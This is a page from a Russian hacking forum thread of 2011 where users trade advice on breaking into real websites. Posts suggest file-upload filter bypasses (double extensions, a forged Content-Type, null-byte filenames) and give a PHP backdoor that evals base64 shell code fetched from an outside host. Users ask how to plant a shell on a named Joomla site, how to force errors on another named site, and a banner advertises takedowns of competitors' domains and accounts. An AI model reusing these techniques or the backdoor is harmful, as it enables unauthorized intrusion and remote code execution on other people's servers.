Ваши вопросы по уязвимостям.

FORUMS

MEMBERS

RECENT POSTS

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Ваши вопросы по уязвимостям.

Страница 1643 из 2422

1643

Опции темы

Поиск в этой теме

Опции просмотра

26.03.2011, 19:58

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от Moriarty

По движку ориентируйся. Галерея - наверняка модуль.

Двиг самопис, блок по белому списку.

𝕏 Twitter Reddit Telegram Копировать ссылку

26.03.2011, 20:16

Tigger

Познавший АНТИЧАТ

Регистрация: 27.08.2007

Сообщений: 1,107

С нами: 9846041

Репутация: 1177

Цитата:

Сообщение от Lijzer

Двиг самопис, блок по белому списку.

А если отправлять с белым разрешением (x3k.jpg), то с каким именем она зальеться на сервер? С таким же, или добавляется еще jpeg o_0 ?

Попробуй отправить x3k.jpeg.php подделав Content-Type на Image.

И вот такие названия пробуй:

x3k.php.blablajpg

x3k.php%00.jpeg

26.03.2011, 21:23

Axel_Ustus

Новичок

Регистрация: 04.06.2010

Сообщений: 0

С нами: 8388263

Репутация: 0

Цитата:

Сообщение от Tigger

А если отправлять с белым разрешением (x3k.jpg), то с каким именем она зальеться на сервер? С таким же, или добавляется еще jpeg o_0 ?
Попробуй отправить x3k.jpeg.php подделав Content-Type на Image.
И вот такие названия пробуй:
x3k.php.blablajpg

x3k.php%00.jpeg

Нуль байт - уж слишком старомодно

скорее всего защита от такого есть

даже в самописном движке

26.03.2011, 22:44

Unknown

Новичок

Регистрация: 21.06.2005

Сообщений: 1

С нами: 10992741

Репутация: 0

Цитата:

Сообщение от Tigger

А если отправлять с белым разрешением (x3k.jpg), то с каким именем она зальеться на сервер? С таким же, или добавляется еще jpeg o_0 ?
Попробуй отправить x3k.jpeg.php подделав Content-Type на Image.
И вот такие названия пробуй:
x3k.php.blablajpg

x3k.php%00.jpeg

Четыре расширения в белом списке gif,jpg,jpeg,png. Льешь jpg>jpg на выходе.

Подделывал Content-Type на image/jpeg выкинуло ошибку.

Нижнии два варианта при первоначальном попадании в админку, не помогли

29.03.2011, 00:30

A_n_d_r_e_i

Участник форума

Регистрация: 02.09.2009

Сообщений: 286

С нами: 8784803

Репутация: 257

Жумла

Права доступа на каталоги

Цитата:

Сообщение от None

administrator/backups/ Недоступен для записи
administrator/components/ Недоступен для записи
administrator/modules/ Недоступен для записи
administrator/templates/ Недоступен для записи
components/ Недоступен для записи
images/ Недоступен для записи
images/banners/ Недоступен для записи
images/stories/ Недоступен для записи
language/ Недоступен для записи
mambots/ Недоступен для записи
mambots/content/ Недоступен для записи
mambots/editors/ Недоступен для записи
mambots/editors-xtd/ Недоступен для записи
mambots/search/ Недоступен для записи
mambots/system/ Недоступен для записи
media/ Недоступен для записи
modules/ Недоступен для записи
templates/ Недоступен для записи
Каталог кэша /var/www/forcekir/data/www/kadetstvo.info/cache/ Недоступен для записи
Каталог сессий /var/www/forcekir/data/mod-tmp/
Доступен для записи

Можно как-нить шелл залить? >_

29.03.2011, 00:46

rootmd

Участник форума

Регистрация: 09.12.2010

Сообщений: 101

С нами: 8118326

Репутация: -5

да, ставиь в пхп модуль (через админку)

Код:

if($_SERVER['REMOTE_ADDR']="TVOI_IP_VNESHKA")
{
echo(eval(base64_decode(file_get_contents("http://iahacker.ru/TVOI_BASE64_ENKODIROVANII_SHELL.txt"))));
die();
}

29.03.2011, 00:53

Oro4imaru

Новичок

Регистрация: 17.07.2010

Сообщений: 16

С нами: 8327126

Репутация: 0

что делать пробую залить шелл шелл.пшп.джпег но его в постледствие залива переименовывает на какой нить нв3-1.джпег и он не запускается! как обойти или мож я чето не так делаю??

29.03.2011, 01:05

A_n_d_r_e_i

Участник форума

Регистрация: 02.09.2009

Сообщений: 286

С нами: 8784803

Репутация: 257

Цитата:

Сообщение от rootmd

да, ставиь в пхп модуль (через админку)

Код:

if($_SERVER['REMOTE_ADDR']="TVOI_IP_VNESHKA")
{
echo(eval(base64_decode(file_get_contents("http://iahacker.ru/TVOI_BASE64_ENKODIROVANII_SHELL.txt"))));
die();
}

куда\что именно? модули залить нельзя

29.03.2011, 10:08

z0mbyak

Познающий

Регистрация: 10.04.2010

Сообщений: 49

С нами: 8467184

Репутация: 1

[QUOTE="None"]
Жумла
Права доступа на каталоги
Цитата:
administrator/backups/ Недоступен для записи
administrator/components/ Недоступен для записи
administrator/modules/ Недоступен для записи
administrator/templates/ Недоступен для записи
components/ Недоступен для записи
images/ Недоступен для записи
images/banners/ Недоступен для записи
images/stories/ Недоступен для записи
language/ Недоступен для записи
mambots/ Недоступен для записи
mambots/content/ Недоступен для записи
mambots/editors/ Недоступен для записи
mambots/editors-xtd/ Недоступен для записи
mambots/search/ Недоступен для записи
mambots/system/ Недоступен для записи
media/ Недоступен для записи
modules/ Недоступен для записи
templates/ Недоступен для записи
Каталог кэша /var/www/forcekir/data/www/kadetstvo.info/cache/ Недоступен для записи
Каталог сессий /var/www/forcekir/data/mod-tmp/ Доступен для записи
Можно как-нить шелл залить? >__

#10

29.03.2011, 13:38

A_n_d_r_e_i

Участник форума

Регистрация: 02.09.2009

Сообщений: 286

С нами: 8784803

Репутация: 257

Цитата:

Сообщение от z0mbyak

кстати configuration.php доступен для записи?

недоступен

кста, помогите добиться ошибки тут http://sfokr.ru

нужен путь

Страница 1643 из 2422

1643

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился)	PEPSICOLA	Болталка	188	23.05.2010 10:05
Ваши любимые компьютерные игры	PEPSICOLA	Болталка	280	19.08.2009 00:01
Ваши телеги...	F-IFTY	Болталка	13	18.08.2009 18:22
Вопросы по Ipb 2.0	Voodoo_People	Уязвимости CMS / форумов	26	15.02.2005 22:57

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Home

Help

Terms and Rules